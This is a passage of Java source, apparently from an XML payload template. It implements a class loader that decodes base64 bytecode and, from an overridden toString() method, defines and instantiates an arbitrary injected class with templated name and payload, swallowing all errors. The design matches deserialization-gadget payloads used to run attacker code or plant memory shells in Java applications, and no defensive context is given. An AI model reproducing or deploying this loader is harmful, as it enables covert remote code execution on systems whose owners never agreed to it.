base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
]]>